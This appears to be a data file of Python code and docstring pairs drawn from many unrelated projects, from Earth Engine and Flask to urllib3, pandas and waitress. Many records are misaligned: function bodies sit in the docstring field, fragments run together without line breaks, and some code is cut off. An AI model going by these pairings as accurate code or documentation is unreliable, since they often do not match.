ee.Number(list.reduce(ee.Reducer.stdDev()))min = mean.subtract(std)max = mean.add(std)def compute_score(el):el = ee.Number(el)cond = el.gte(min).And(el.lte(max))return ee.Algorithms.If(cond,ee.List([ee.Number(el).multiply(10000).format('%.0f'), 1]),ee.List([ee.Number(el).multiply(10000).format('%.0f'), 0]))to_compare = ee.Dictionary(ee.List(list.map(compute_score)).flatten()).getInfo()"} {"code": "def toggle_onetabmode(self):\n\t\tMonitors tab index changes, closing other tabs if onetabmode is enabled\n\n\t\tArguments:\n\t\tindex -- the index of the new tab\n\t\t\"\"\"", "nl": "Toggles onetabmodecfg.onetabmode = self.main_window.ui.action_onetabmode.isChecked()if cfg.onetabmode:self.close_other()self.tabBar().setVisible(False)else:self.tabBar().setVisible(True)self.setTabsClosable(not cfg.onetabmode)self.main_window.ui.action_close_all_tabs.setEnabled(not cfg.onetabmode)self.main_window.ui.action_close_current_tab.setEnabled(not cfg.onetabmode)self.main_window.ui.action_close_other_tabs.setEnabled(not cfg.onetabmode)def index_changed(self, index):"} {"code": "def create_logger(name=None, level=logging.INFO, args=None):\n\n if name is None:\n raise ValueError(\"name for logger cannot be None\")\n\n logger_ = logging.getLogger(name)\n logger_.setLevel(level)\n return logger_\n\n\nlogger = LoggerCreator.create_logger(name=\"FedML\", level=logging.INFO)", "nl": "create a loggerArgs:name (str): name of the loggerlevel: level of loggerRaises:ValueError is name is None"} {"code": "def __init__(self, threshold=10):\n self.threshold = threshold\n", "nl": "Constructor for the TopologicalVector class.Attributes:threshold (int): number of distances to keep (default 10). This is the dimension of the topological vector. If -1, this threshold is computed from the list of persistence diagrams by considering the one with the largest number of points and using the dimension of its corresponding topological vector as threshold."} {"code": "def data(self):\n return self._cursor.use_region().map()\n", "nl": ":return: read-only data of this pack. It provides random access and usuallyis a memory map.:note: This method is unsafe as it returns a window into a file which might be larger than than the actual window size"} {"code": "def create_instance_repo(self, tmp_repo_dir):\n\n Path(self._pkgs_basedir).mkdir(parents=True, exist_ok=True)\n Path(tmp_repo_dir).mkdir(parents=True, exist_ok=True)\n\n print_info('Copying injected packages to instance location')\n self._instance_repo_dir = tmp_repo_dir\n\n if os.path.isdir(self._pkgs_specific_dir):\n for pkg_fname in glob(os.path.join(self._pkgs_specific_dir, '*.deb')):\n pkg_path = os.path.join(tmp_repo_dir, os.path.basename(pkg_fname))\n\n if not os.path.isfile(pkg_path):\n hardlink_or_copy(pkg_fname, pkg_path)\n\n for pkg_fname in glob(os.path.join(self._pkgs_basedir, '*.deb')):\n pkg_path = os.path.join(tmp_repo_dir, os.path.basename(pkg_fname))\n\n if not os.path.isfile(pkg_path):\n hardlink_or_copy(pkg_fname, pkg_path)\n\n @property", "nl": "Create a temporary location where all injected packages for this containerare copied to."} {"code": "def __init__(self, cr):\n DistributedObject.DistributedObject.__init__(self, cr)\n\n self.fsm = ClassicFSM.ClassicFSM('DistributedButterfly',\n [State.State('off',\n self.enterOff,\n self.exitOff,\n ['Flying', 'Landed']),\n State.State('Flying',\n self.enterFlying,\n self.exitFlying,\n ['Landed']),\n State.State('Landed',\n self.enterLanded,\n self.exitLanded,\n ['Flying'])],\n 'off',\n 'off',\n )\n self.butterfly = None\n self.butterflyNode = None\n self.curIndex = 0\n self.destIndex = 0\n self.time = 0.0\n self.ival = None\n self.fsm.enterInitialState()\n", "nl": "__init__(cr)"} {"code": "def _apk_files(self, apk):\n @return: list of static features\n \"\"\"", "nl": "Returns a list of files in the APK.ret = []for fname, filetype in apk.get_files_types().items():buf = apk.zip.read(fname)ret.append({\"name\": fname,\"md5\": hashlib.md5(buf).hexdigest(),\"size\": len(buf),\"type\": filetype,})return retdef run(self):Run androguard to extract static android information"} {"code": "def before_first_request(self, f):\n self.before_first_request_funcs.append(f)\n return f\n\n @setupmethod", "nl": "Registers a function to be run before the first request to thisinstance of the application.The function will be called without any arguments and its returnvalue is ignored... versionadded:: 0.8"} {"code": "def make_rigged_file(self, filename, stmts, miss):\n run = stmts - miss - 1\n dont_run = miss\n source = \"\"\n source += \"a = 1\\n\" * run\n source += \"if a == 99:\\n\"\n source += \" a = 2\\n\" * dont_run\n self.make_file(filename, source)\n", "nl": "Create a file that will have specific results.`stmts` and `miss` are ints, the number of statements, andmissed statements that should result."} {"code": "def _set_flags(self, flags):\n for f in self._flags:\n if flags is not None and f in flags:\n self[f] = flags[f]\n else:\n self[f] = None\n", "nl": "Helper function for setting of flags.Arguments:flags -- Flags in dictionary format: { \"flag name\": \"flag value\" ... }"} {"code": "def makeWaiter(self, modelRoot=None):", "nl": "Set the appropriate textures for a bosscog battle waiter"} {"code": "def escapedData(data, inAttribute, inXML):\n if inXML or inAttribute:\n data = data.replace('&', '&'\n ).replace('<', '<'\n ).replace('>', '>')\n if inAttribute:\n data = data.replace('\"', '"')\n return data\n\n\n", "nl": "Escape a string for inclusion in a document.@type data: C{str}@param data: The string to escape.@type inAttribute: C{bool}@param inAttribute: A flag which, if set, indicates that the string shouldbe quoted for use as the value of an XML tag value.@type inXML: C{bool}@param inXML: A flag which, if set, indicates that the string should bequoted for use as an XML text node or as the value of an XML tag value.@rtype: C{str}@return: The quoted form of C{data}."} {"code": "def __init__(self, callback=None, batch_uri=None):\n if batch_uri is None:\n batch_uri = 'https://www.googleapis.com/batch'\n self._batch_uri = batch_uri\n\n self._callback = callback\n\n self._requests = {}\n\n self._callbacks = {}\n\n self._order = []\n\n self._last_auto_id = 0\n\n self._base_id = None\n\n self._responses = {}\n\n self._refreshed_credentials = {}\n", "nl": "Constructor for a BatchHttpRequest.Args:callback: callable, A callback to be called for each response, of theform callback(id, response, exception). The first parameter is therequest id, and the second is the deserialized response object. Thethird is an apiclient.errors.HttpError exception object if an HTTP erroroccurred while processing the request, or None if no error occurred.batch_uri: string, URI to send batch requests to."} {"code": "def test_a_quadruple_example(time_quad_ex, ci_env, spawn_backend):\n cancel gracefully.\n \"\"\"", "nl": "This also serves as a kind of \"we'd like to be this fast test\".results, diff = time_quad_exassert resultsthis_fast = 6 if platform.system() in ('Windows', 'Darwin') else 2.666assert diff < this_fast@pytest.mark.parametrize('cancel_delay',list(map(lambda i: i/10, range(3, 9))))def test_not_fast_enough_quad(arb_addr, time_quad_ex, cancel_delay, ci_env, spawn_backend):Verify we can cancel midway through the quad example and all actors"} {"code": "def try_except_decorator(func):\n try:\n return func(*args, **kwargs)\n except Exception as exc_obj:\n LOGGER.exception(\"%s\\n%s\", mesg, str(exc_obj))\n raise\n return try_except_wrapper\n return try_except_decorator\n\n\n@Pyro4.expose\nclass RecModel(object):\n \"\"\"Class that manages RPCs for calculating photo user days.\"\"\"", "nl": "Raw decorator function.def try_except_wrapper(*args, **kwargs):General purpose try/except wrapper."} {"code": "def contains(self, x):\n raise NotImplementedError\n", "nl": "Return boolean specifying if x is a validmember of this space"} {"code": "def tracks_own_finished(self):\n return False\n\n", "nl": "Describes whether the Decoder keeps track of finished states.Most decoders will emit a true/false `finished` value independentlyat each time step. In this case, the `dynamic_decode` function keeps trackof which batch entries are already finished, and performs a logical OR toinsert new batches to the finished set.Some decoders, however, shuffle batches / beams between time steps and`dynamic_decode` will mix up the finished state across these entries becauseit does not track the reshuffle across time steps. In this case, it isup to the decoder to declare that it will keep track of its own finishedstate by setting this property to `True`.Returns:Python bool."} {"code": "def request_url(self, url):\n\n if not self.is_active:\n raise ValueError('Requester object is not active.')\n\n self.throttle()\n\n self._log_url(url)\n out = requests.get(url)\n\n self.time_last_req = time.time()\n self.n_requests += 1\n\n return out\n\n", "nl": "Request a URL.Parameters----------url : strWeb address to request.Returns-------out : requests.models.ResponseObject containing the requested web page.Examples--------Use a ``Requester`` object to request the LISC Github repository url:>>> requester = Requester()>>> response = requester.request_url('https://github.com/lisc-tools/lisc')"} {"code": "def captured_stdout():\n return captured_output('stdout')\n\n", "nl": "Capture the output of sys.stdout:with captured_stdout() as stdout:print('hello')self.assertEqual(stdout.getvalue(), 'hello\\n')Taken from Lib/support/__init__.py in the CPython repo."} {"code": "def _rouge(ref_file, summarization_file, subword_option=None):\n\n with codecs.getreader(\"utf-8\")(tf.gfile.GFile(label_file, \"rb\")) as label_fh:\n with codecs.getreader(\"utf-8\")(tf.gfile.GFile(pred_file, \"rb\")) as pred_fh:\n count = 0.0\n match = 0.0\n for label in label_fh:\n label = label.strip()\n pred = pred_fh.readline().strip()\n if label == pred:\n match += 1\n count += 1\n return 100 * match / count\n\n", "nl": "Compute ROUGE scores and handling BPE.references = []with codecs.getreader(\"utf-8\")(tf.gfile.GFile(ref_file, \"rb\")) as fh:for line in fh:references.append(_clean(line, subword_option))hypotheses = []with codecs.getreader(\"utf-8\")(tf.gfile.GFile(summarization_file, \"rb\")) as fh:for line in fh:hypotheses.append(_clean(line, subword_option=None))rouge_score_map = rouge.rouge(hypotheses, references)return 100 * rouge_score_map[\"rouge_l/f_score\"]def _accuracy(label_file, pred_file):Compute accuracy, each line contains a label."} {"code": "def _new_conn(self):\n self.num_connections += 1\n log.debug(\n \"Starting new HTTPS connection (%d): %s:%s\",\n self.num_connections,\n self.host,\n self.port or \"443\",\n )\n\n if not self.ConnectionCls or self.ConnectionCls is DummyConnection:\n raise SSLError(\n \"Can't connect to HTTPS URL because the SSL module is not available.\"\n )\n\n actual_host = self.host\n actual_port = self.port\n if self.proxy is not None:\n actual_host = self.proxy.host\n actual_port = self.proxy.port\n\n conn = self.ConnectionCls(\n host=actual_host,\n port=actual_port,\n timeout=self.timeout.connect_timeout,\n strict=self.strict,\n cert_file=self.cert_file,\n key_file=self.key_file,\n key_password=self.key_password,\n **self.conn_kw\n )\n\n return self._prepare_conn(conn)\n", "nl": "Return a fresh :class:`http.client.HTTPSConnection`."} {"code": "def __getitem__(self, name):", "nl": "Retrieve a binding value.have = self._do_get(name, None)if have is None and not self.__contains__(name):raise KeyError(name)return havedef get(self, name, default_value=None):Retrieve a binding value or default."} {"code": "def remove_feature(self, feature):\n try:\n self._features.remove(feature)\n except ValueError:\n return\n detach = getattr(feature, 'on_detach', None)\n if detach is not None:\n detach(self)\n", "nl": "WRITEMERemoves the feature from the graph.Calls feature.on_detach(function_graph) if an on_detach methodis defined."} {"code": "def make_test_files(self):\n self.make_file(\"testsuite.py\", \"\"\"\\", "nl": "Create a simple file representing a method with two tests.Returns absolute path to the file."} {"code": "def do_coin(player: Player, parsed: base.ParseResult, ctx: util.Context) -> None:\n ctx.driver.show_motd(player, notify_no_motd=True)\n\n\n@cmd(\"flee\", \"run\", \"evade\")", "nl": "Toss a coin.number, _ = util.roll_dice(sides=2)result = [\"heads\", \"tails\"][number - 1]player.tell(\"You toss a coin. The result is: %s!\" % result)player.tell_others(\"{Actor} tosses a coin. The result is: %s!\" % result)@cmd(\"motd\")@disable_notify_action@disabled_in_gamemode(GameMode.IF)def do_motd(player: Player, parsed: base.ParseResult, ctx: util.Context) -> None:Show the message-of-the-day again."} {"code": "def _drawImageLevel2(self, image, x1,y1, x2=None,y2=None): # Postscript Level2 version\n<<\n/ImageType 1\n/Width %d /Height %d %% dimensions of source image\n/BitsPerComponent %d\"\"\" % (imwidth, imheight, imBitsPerComponent) )\n from reportlab.graphics import renderPS\n renderPS.draw(drawing, canvas, x, y)\nExecute the script to see some test drawings.\"\"\"", "nl": "At present we're handling only PIL### what sort of image are we to drawif image.mode=='L' :imBitsPerComponent = 8imNumComponents = 1myimage = imageelif image.mode == '1':myimage = image.convert('L')imNumComponents = 1myimage = imageelse :myimage = image.convert('RGB')imNumComponents = 3imBitsPerComponent = 8imwidth, imheight = myimage.sizeif not x2:x2 = imwidth + x1if not y2:y2 = y1 + imheightdrawwidth = x2 - x1drawheight = y2 - y1self.code.extend(['gsave','%s %s translate' % (x1,-y1 - drawheight), # need to start are lower left of image'%s %s scale' % (drawwidth,drawheight)])if imNumComponents == 3 :self.code_append('/DeviceRGB setcolorspace')elif imNumComponents == 1 :self.code_append('/DeviceGray setcolorspace')# create the image dictionaryself.code_append("} {"code": "def setMappingMode(self, mapping):\n if isinstance(mapping, str):\n mapping = self.enumMap[mapping.lower()]\n if mapping in [self.CLIP, self.REPEAT, self.DIVERGING, self.MIRROR]:", "nl": "Sets the way that values outside of the range 0 to 1 are mapped to colors.Parameters----------mapping: int or strSets mapping mode to- `ColorMap.CLIP` or 'clip': Values are clipped to the range 0 to 1. ColorMap defaults to this.- `ColorMap.REPEAT` or 'repeat': Colors repeat cyclically, i.e. range 1 to 2 repeats the colors for 0 to 1.- `ColorMap.MIRROR` or 'mirror': The range 0 to -1 uses same colors (in reverse order) as 0 to 1.- `ColorMap.DIVERGING` or 'diverging': Colors are mapped to -1 to 1 such that the central value appears at 0."} {"code": "def expand_configs(config_dict):\n flattened, and a cross-product of the lists are returned.\n \"\"\"", "nl": "Expands the config dictionary and resolves any references.configs = expand_value(config_dict)configs = [resolve_references(c) for c in configs]return configsdef expand_value(value):Expands the given configuration value. All lists in the value are"} {"code": "def tokenize(self, text):\n if self.normalize_text:\n text = unicodedata.normalize(\"NFKC\", text)\n\n output_tokens = []\n for i, char in enumerate(text):\n if char not in self.vocab:\n output_tokens.append(self.unk_token)\n continue\n\n output_tokens.append(char)\n\n return output_tokens", "nl": "Tokenizes a piece of text into characters.For example:input = \"apple\"output = [\"a\", \"p\", \"p\", \"l\", \"e\"]Args:text: A single token or whitespace separated tokens.This should have already been passed through `BasicTokenizer`.Returns:A list of characters."} {"code": "def contains_column(self, col):\n\n return self.columns.contains_column(col)\n", "nl": "Return True if this constraint contains the given column.Note that this object also contains an attribute ``.columns``which is a :class:`.ColumnCollection` of :class:`.Column` objects."} {"code": "def _reload_version(self):\n md_version = _version_from_file(self._get_metadata(self.PKG_INFO))\n if md_version:\n self._version = md_version\n return self\n\n\nclass DistInfoDistribution(Distribution):\n \"\"\"\n PKG_INFO = 'METADATA'\n EQEQ = re.compile(r\"([\\(,])\\s*(\\d.*?)\\s*([,\\)])\")\n\n @property", "nl": "Packages installed by distutils (e.g. numpy or scipy),which uses an old safe_version, and sotheir version numbers can get mangled whenconverted to filenames (e.g., 1.11.0.dev0+2329eae to1.11.0.dev0_2329eae). These distributions will not beparsed properlydownstream by Distribution and safe_version, sotake an extra step and try to get the version number fromthe metadata file itself instead of the filename."} {"code": "def evaluate_one_sent(self, ref:Sequence[str], hyp:Sequence[str]):\n hyp_ngrams = self._extract_all_ngrams(hyp)\n tot_ngrams_hyp = sum(hyp_ngrams.values())\n ref_ngrams = self._extract_all_ngrams(ref)\n tot_ngrams_ref = sum(ref_ngrams.values())\n\n overlap_ngrams = ref_ngrams & hyp_ngrams\n n_match = sum(overlap_ngrams.values())\n n_total = max(tot_ngrams_hyp, tot_ngrams_ref)\n\n return GLEUScore(n_match, n_total, hyp_len = len(hyp), ref_len = len(ref))\n\n\nclass WEREvaluator(SentenceLevelEvaluator, Serializable):\n \"\"\"\n yaml_tag = \"!WEREvaluator\"\n @serializable_init", "nl": "Args:ref: reference sentence ( a sent is a list of tokens )hyp: hypothesis sentence ( a sent is a list of tokens )Return:GLEU score object"} {"code": "def missing_imports(self):\n return self._missing_imports\n\n @property", "nl": "List required imports that are unavailable through pip install.The user must edit the Dockerfile by hand to install these packagesbefore using the build or push methods."} {"code": "def test_response_regression_segfault(self):\n filename = os.path.join(self.data_path, \"RESP.regression_segfault\")\n frequencies = np.logspace(-3, 3, 20)\n\n\n for unit in (\"DISP\", \"VEL\", \"ACC\"):\n\n with CatchAndAssertWarnings():\n r = obspy.read_inventory(filename)[0][0][0].response\n r.get_evalresp_response_for_frequencies(\n frequencies=frequencies, output=unit)\n", "nl": "Another regression test."} {"code": "def _drawimage(self, item, (x, y), image):\n self.cv.coords(item, (x * self.xscale, -y * self.yscale))\n self.cv.itemconfig(item, image=image)\n", "nl": "Configure image item as to draw image objectat position (x,y) on canvas)"} {"code": "def get_locator(self, dmin, dmax):\n Set the view limits to include the data range.\n \"\"\"", "nl": "Pick the best locator based on a distance.delta = relativedelta(dmax, dmin)num_days = (delta.years * 12.0 + delta.months) * 31.0 + delta.daysnum_sec = (delta.hours * 60.0 + delta.minutes) * 60.0 + delta.secondstot_sec = num_days * 86400.0 + num_secif abs(tot_sec) < self.minticks:self._freq = -1locator = MilliSecondLocator(self.tz)locator.set_axis(self.axis)locator.set_view_interval(*self.axis.get_view_interval())locator.set_data_interval(*self.axis.get_data_interval())return locatorreturn dates.AutoDateLocator.get_locator(self, dmin, dmax)def _get_unit(self):return MilliSecondLocator.get_unit_generic(self._freq)class MilliSecondLocator(dates.DateLocator):UNIT = 1.0 / (24 * 3600 * 1000)def __init__(self, tz):dates.DateLocator.__init__(self, tz)self._interval = 1.0def _get_unit(self):return self.get_unit_generic(-1)@staticmethoddef get_unit_generic(freq):unit = dates.RRuleLocator.get_unit_generic(freq)if unit < 0:return MilliSecondLocator.UNITreturn unitdef __call__(self):# if no data have been set, this will tank with a ValueErrortry:dmin, dmax = self.viewlim_to_dt()except ValueError:return []# We need to cap at the endpoints of valid datetime# FIXME: dont leave commented-out# TODO(wesm) unused?# if dmin > dmax:# dmax, dmin = dmin, dmax# delta = relativedelta(dmax, dmin)# try:# start = dmin - delta# except ValueError:# start = _from_ordinal(1.0)# try:# stop = dmax + delta# except ValueError:# # The magic number!# stop = _from_ordinal(3652059.9999999)nmax, nmin = dates.date2num((dmax, dmin))num = (nmax - nmin) * 86400 * 1000max_millis_ticks = 6for interval in [1, 10, 50, 100, 200, 500]:if num <= interval * (max_millis_ticks - 1):self._interval = intervalbreakelse:# We went through the whole loop without breaking, default to 1self._interval = 1000.0estimate = (nmax - nmin) / (self._get_unit() * self._get_interval())if estimate > self.MAXTICKS * 2:raise RuntimeError(\"MillisecondLocator estimated to generate \"f\"{estimate:d} ticks from {dmin} to {dmax}: \"\"exceeds Locator.MAXTICKS\"f\"* 2 ({self.MAXTICKS * 2:d}) \")interval = self._get_interval()freq = f\"{interval}L\"tz = self.tz.tzname(None)st = _from_ordinal(dates.date2num(dmin)) # strip tzed = _from_ordinal(dates.date2num(dmax))all_dates = date_range(start=st, end=ed, freq=freq, tz=tz).astype(object)try:if len(all_dates) > 0:locs = self.raise_if_exceeds(dates.date2num(all_dates))return locsexcept Exception: # pragma: no coverpasslims = dates.date2num([dmin, dmax])return limsdef _get_interval(self):return self._intervaldef autoscale(self):"} {"code": "def showerror(title=None, message=None, **options):\n return _show(title, message, QUESTION, YESNO, **options)\n\n", "nl": "Show an error messagereturn _show(title, message, ERROR, OK, **options)def askquestion(title=None, message=None, **options):Ask a question"} {"code": "def __eq__(self, other):\n return not self.__eq__(other)\n\n @staticmethod", "nl": "Equality test on name, type, and classreturn (isinstance(other, DNSEntry) andself.name == other.name andself.type == other.type andself.class_ == other.class_)def __ne__(self, other):Non-equality test"} {"code": "def tags(self):\n prev_field_name is the name of the previous field or None.\n '''", "nl": "Return the #define for the tag number of this field.identifier = '%s_%s_tag' % (self.struct_name, self.name)return '#define %-40s %d\\n' % (identifier, self.tag)def pb_field_t(self, prev_field_name):Return the pb_field_t initializer to use in the constant array."} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n if i == 0:\n continue\n guid = \"%s-%s\" % (set_type, line[0])\n text_a = line[1]\n text_b = line[2]\n label = None if set_type == \"test\" else line[-1]\n examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass WnliProcessor(DataProcessor):\n \"\"\"Processor for the WNLI data set (GLUE version).\"\"\"", "nl": "See base class.return [\"entailment\", \"not_entailment\"]def _create_examples(self, lines, set_type):Creates examples for the training, dev and test sets."} {"code": "def parse_string(io_or_string):\n\treturn XmlPropertyListParser().parse(io_or_string)\n\n", "nl": "Parse a string (or a stream) and return the resulting object."} {"code": "def check_state_key(self, key):\n if self.get_state_keys_blacklist_regexp().match(key):\n raise ConstructorError(None, None,\n \"blacklisted key '%s' in instance state found\" % (key,), None)\n", "nl": "Block special attributes/methods from being set in a newly createdobject, to prevent user-controlled methods from being called duringdeserialization"} {"code": "def mean(data):\n c = mean(data)\n ss = sum((x-c)**2 for x in data)\n return ss\n", "nl": "Return the sample arithmetic mean of data.n = len(data)if n < 1:raise ValueError('mean requires at least one data point')return sum(data)/float(n)def _ss(data):Return sum of square deviations of sequence data."} {"code": "def identity(payload):\n user_id = payload['identity']\n try:\n user = User.load(None, user_id)\n except Exception:\n user = None\n return user\n\n", "nl": "Read user_id from payload and return User.Args:payload (dict): Request payloadReturns:user: detected user"} {"code": "def XmlToString(content, encoding='utf-8', pretty=False):\n xml_parts = ['<?xml version=\"1.0\" encoding=\"%s\"?>' % encoding]\n if pretty:\n xml_parts.append('\\n')\n _ConstructContentList(xml_parts, content, pretty)\n\n return ''.join(xml_parts)\n\n", "nl": " Writes the XML content to disk, touching the file only if it has changed.Visual Studio files have a lot of pre-defined structures. This function makesit easy to represent these structures as Python data structures, instead ofhaving to create a lot of function calls.Each XML element of the content is represented as a list composed of:1. The name of the element, a string,2. The attributes of the element, a dictionary (optional), and3+. The content of the element, if any. Strings are simple text nodes andlists are child elements.Example 1:<test/>becomes['test']Example 2:<myelement a='value1' b='value2'><childtype>This is</childtype><childtype>it!</childtype></myelement>becomes['myelement', {'a':'value1', 'b':'value2'},['childtype', 'This is'],['childtype', 'it!'],]Args:content: The structured content to be converted.encoding: The encoding to report on the first XML line.pretty: True if we want pretty printing with indents and new lines.Returns:The XML content as a string."} {"code": "def test_singlePartiallyOverlappingRangeSetsContentHeaders(self):\n request = DummyRequest([])\n request.requestHeaders.addRawHeader(b'range', b'bytes=2-10')\n contentType = \"text/plain\"\n resource = self.makeResourceWithContent(b'abc', type=contentType)\n with resource.openForReading() as file:\n resource.makeProducer(request, file)\n self.assertEqual(\n {b'content-type': b'text/plain', b'content-length': b'1',\n b'content-range': b'bytes 2-2/3'},\n self.contentHeaders(request))\n\n", "nl": "makeProducer when the Range header requests a single byte range thatpartly overlaps the resource sets the Content-* headers appropriately."} {"code": "def del_bridge(self, brname):\n ctrl_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\n fcntl.ioctl(ctrl_sock, arch.SIOCBRDELBR, brname)\n ctrl_sock.close()\n", "nl": "Delete a bridge in host"} {"code": "def _update_interface_utilization(self):\n\n for interface_object in self.interface_objects:\n interface_object.traffic = \"Down\" if interface_object.failed else 0.0\n routed_demand_object_generator = (\n demand_object\n for demand_object in self.demand_objects\n if \"Unrouted\" not in demand_object.path\n )\n\n for demand_object in routed_demand_object_generator:\n\n\n key = \"{}-{}\".format(\n demand_object.source_node_object.name,\n demand_object.dest_node_object.name,\n )\n\n try:\n candidate_lsps_for_demand = self.parallel_lsp_groups()[key]\n min_metric = min(\n lsp.effective_metric(self)\n for lsp in candidate_lsps_for_demand\n if \"Unrouted\" not in lsp.path\n )\n lsps_for_demand = [\n lsp\n for lsp in candidate_lsps_for_demand\n if lsp.effective_metric(self) == min_metric\n and \"Unrouted\" not in lsp.path\n ]\n except (KeyError, ValueError):\n lsps_for_demand = []\n\n if lsps_for_demand != []:\n num_routed_lsps_for_demand = len(lsps_for_demand)\n\n traffic_per_demand_path = (\n demand_object.traffic / num_routed_lsps_for_demand\n )\n\n for lsp in lsps_for_demand:\n\n lsp_path_interfaces = lsp.path[\"interfaces\"]\n\n for interface in lsp_path_interfaces:\n interface.traffic += traffic_per_demand_path\n\n demand_object._path_detail = self._lsp_routed_demand_path_detail(\n demand_object, lsps_for_demand\n )\n\n\n else:\n demand_traffic_per_int = self._demand_traffic_per_int(demand_object)\n\n for interface, traffic_from_demand in demand_traffic_per_int.items():\n interface.traffic += traffic_from_demand\n\n return self\n", "nl": "Updates each interface's utilization; returns Model object withupdated interface utilization."} {"code": "def assertGreater(self, a, b, msg=None):\n if not a >= b:\n standardMsg = '%s not greater than or equal to %s' % (safe_repr(a), safe_repr(b))\n self.fail(self._formatMessage(msg, standardMsg))\n", "nl": "Just like self.assertTrue(a > b), but with a nicer default message.if not a > b:standardMsg = '%s not greater than %s' % (safe_repr(a), safe_repr(b))self.fail(self._formatMessage(msg, standardMsg))def assertGreaterEqual(self, a, b, msg=None):Just like self.assertTrue(a >= b), but with a nicer default message."} {"code": "def warn_on_401(self, resp, **kwargs):\n assert keyring is not None, \"should never reach here without keyring\"\n if not keyring:\n return\n\n creds = self._credentials_to_save\n self._credentials_to_save = None\n if creds and resp.status_code < 400:\n try:\n logger.info('Saving credentials to keyring')\n keyring.set_password(*creds)\n except Exception:\n logger.exception('Failed to save credentials')\n\n\nclass LocalFSAdapter(BaseAdapter):\n", "nl": "Response callback to warn about incorrect credentials.if resp.status_code == 401:logger.warning('401 Error, Credentials not correct for %s',resp.request.url)def save_credentials(self, resp, **kwargs):Response callback to save credentials on success."} {"code": "def buildSliderName(cls, pairs):\n\n extPairs = [p for p in pairs if abs(p[1]) == 1.0]\n if len(extPairs) == 1:\n return extPairs[0]\n if extPairs[0] == 1:\n extPairs = extPairs.reversed()\n\n names = []\n for ep in extPairs:\n sp = ep[0].split(\"_\")\n if Shape.isNumberField(sp[-1]):\n sp = sp[:-1]\n names.append(sp)\n\n return \"_\".join([\"\".join(makeUnique(n)) for n in names])\n\n @property", "nl": "Figure out then name for a slider with given shapesThis will mostly be used to figure out what the new namefor a slider will be if its shapes are renamedParameters----------pairs : [(strA list of (name, value) pairsReturns-------: strA newly created name"} {"code": "def split_template_path(template):\n pieces = []\n for piece in template.split(\"/\"):\n if (\n path.sep in piece\n or (path.altsep and path.altsep in piece)\n or piece == path.pardir\n ):\n raise TemplateNotFound(template)\n elif piece and piece != \".\":\n pieces.append(piece)\n return pieces\n\n\nclass BaseLoader(object):\n \"\"\"Baseclass for all loaders. Subclass this and override `get_source` to", "nl": "Split a path into segments and perform a sanity check. If it detects'..' in the path it will raise a `TemplateNotFound` error."} {"code": "def append(self, value):\n new_element = self._message_descriptor._concrete_class()\n new_element._SetListener(self._message_listener)\n new_element.CopyFrom(value)\n self._values.insert(key, new_element)\n if not self._message_listener.dirty:\n self._message_listener.Modified()\n", "nl": "Appends one element by copying the message.new_element = self._message_descriptor._concrete_class()new_element._SetListener(self._message_listener)new_element.CopyFrom(value)self._values.append(new_element)if not self._message_listener.dirty:self._message_listener.Modified()def insert(self, key, value):Inserts the item at the specified position by copying."} {"code": "def new_slices(self, **dargs):\n new_one = self.Slices(virsh_instance=self.virsh)\n for key, value in list(dargs.items()):\n setattr(new_one, key, value)\n return new_one\n", "nl": "Return a new disk slices instance and set properties from dargs"} {"code": "def scenario(self):\n return (self.__testing_agent\n if self.__testing_agent is not None\n else self.scenario.agent)\n\n @testing_agent.setter", "nl": "Return the current test scenario instance.return None@propertydef testing_agent(self):The BaseAgent for the current test scenario's testable system."} {"code": "def setStorageEngines(self, temp):\n self.tempString = \"TEMPORARY\" if temp else \"\"\n self.engine = \"MEMORY\" if temp else \"MYISAM\"\n", "nl": "Chooses where and how to store tables."} {"code": "def count_sents(self, filename: str) -> int:\n raise RuntimeError(\"Input readers must implement the count_sents function\")\n", "nl": "Count the number of sentences in a data file.Args:filename: data fileReturns: number of sentences in the data file"} {"code": "def execvpe(file, args, env):\n _execvpe(file, args, env)\n\n\n__all__.extend(['execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe'])\n", "nl": "execvpe(file, args, env)Execute the executable file (which is searched for along $PATH)with argument list args and environment env , replacing thecurrent process.args may be a list or tuple of strings. "} {"code": "def unhook_focus_events(self):\n widget = self.widget\n del widget.focusInEvent\n del widget.focusOutEvent\n", "nl": " Remove the hooks for the focus events.This method may be overridden by subclasses as needed."} {"code": "def linestringToKicad(linestring):\n lineChain = pcbnew.SHAPE_LINE_CHAIN()\n lineChain.SetClosed(True)\n for c in linestring.coords:\n lineChain.Append(int(c[0]), int(c[1]))\n return lineChain\n\nclass Substrate:\n \"\"\"", "nl": "Convert Shapely linestring to KiCAD's linechain"} {"code": "def zombies_test():\n", "nl": "Regression test for HTTPChannel.maintenance methodBug: This method checks for channels that have been \"inactive\" for aconfigured time. The bug was that last_activity is set at creation timebut never updated during async channel activity (reads and writes), soany channel older than the configured timeout will be closed when a newchannel is created, regardless of activity.>>> import time>>> import waitress.adjustments>>> config = waitress.adjustments.Adjustments()>>> from waitress.server import HTTPServer>>> class TestServer(HTTPServer):... def bind(self, (ip, port)):... print \"Listening on %s:%d\" % (ip or '*', port)>>> sb = TestServer('127.0.0.1', 80, start=False, verbose=True)Listening on 127.0.0.1:80First we confirm the correct behavior, where a channel with no activityfor the timeout duration gets closed.>>> from waitress.channel import HTTPChannel>>> socket = FakeSocket(42)>>> channel = HTTPChannel(sb, socket, ('localhost', 42))>>> channel.connectedTrue>>> channel.last_activity -= int(config.channel_timeout) + 1>>> channel.next_channel_cleanup[0] = channel.creation_time - int(... config.cleanup_interval) - 1>>> socket2 = FakeSocket(7)>>> channel2 = HTTPChannel(sb, socket2, ('localhost', 7))>>> channel.connectedFalseWrite Activity--------------Now we make sure that if there is activity the channel doesn't get closedincorrectly.>>> channel2.connectedTrue>>> channel2.last_activity -= int(config.channel_timeout) + 1>>> channel2.handle_write()>>> channel2.next_channel_cleanup[0] = channel2.creation_time - int(... config.cleanup_interval) - 1>>> socket3 = FakeSocket(3)>>> channel3 = HTTPChannel(sb, socket3, ('localhost', 3))>>> channel2.connectedTrueRead Activity--------------We should test to see that read activity will update a channel as well.>>> channel3.connectedTrue>>> channel3.last_activity -= int(config.channel_timeout) + 1>>> import waitress.parser>>> channel3.parser_class = (... waitress.parser.HTTPRequestParser)>>> channel3.handle_read()>>> channel3.next_channel_cleanup[0] = channel3.creation_time - int(... config.cleanup_interval) - 1>>> socket4 = FakeSocket(4)>>> channel4 = HTTPChannel(sb, socket4, ('localhost', 4))>>> channel3.connectedTrueMain loop window----------------There is also a corner case we'll do 